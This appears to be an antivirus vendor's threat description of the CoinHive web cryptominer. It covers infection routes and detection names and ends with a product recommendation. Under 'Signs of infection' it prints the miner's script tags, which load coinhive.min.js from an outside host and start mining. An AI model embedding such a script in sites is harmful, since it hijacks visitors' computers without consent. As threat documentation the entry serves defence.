General Explanation
Type: Script
Degree of destruction: low
Prevalence: high
Names of the malware:
- Miner.JS.CoinHive
- Trojan.JS.CoinMiner.Hive
What is Web Miner?
Web Miner is a script that will be placed on a site host and the script will be run on the browser and start to extract the cryptocurrency when the user visits the webpage. In fact, you have a computer that is the aim of cybercriminals and they extract cryptocurrency through it.
There are three possibilities for a site to be infected:
- The site is hacked and the script added to it without the site admin’s notice
- The site admin, intentionally adds the script to the site.
- One of the network equipment in between, adds the script to the site.
What is Coinhive malware?
Coinhive malware is a type of cryptocurrency extract script and each client who wants to connect to the infected site will be exposed to infection. So the Miner script will be run on his/her system.
Technical Explanation
Signs of infection
The way of using the malware script is as follows:
<script src=”https://coinhive.com/lib/coinhive.min.js”></script>
<script>
var miner = new CoinHive.User(‘SITE_KEY’, ‘john-doe’);
miner.start();
</script>
How to deal with it and disinfect the system
Padvish Antivirus firewall will prevent network attacks from this malware. Also, it will detect the js file of the malware. Therefore, to prevent infection it is recommended to install Padvish and prevent the malware from entering your system.
What does Miner.JS.CoinHive.a threat means and how to deal with it?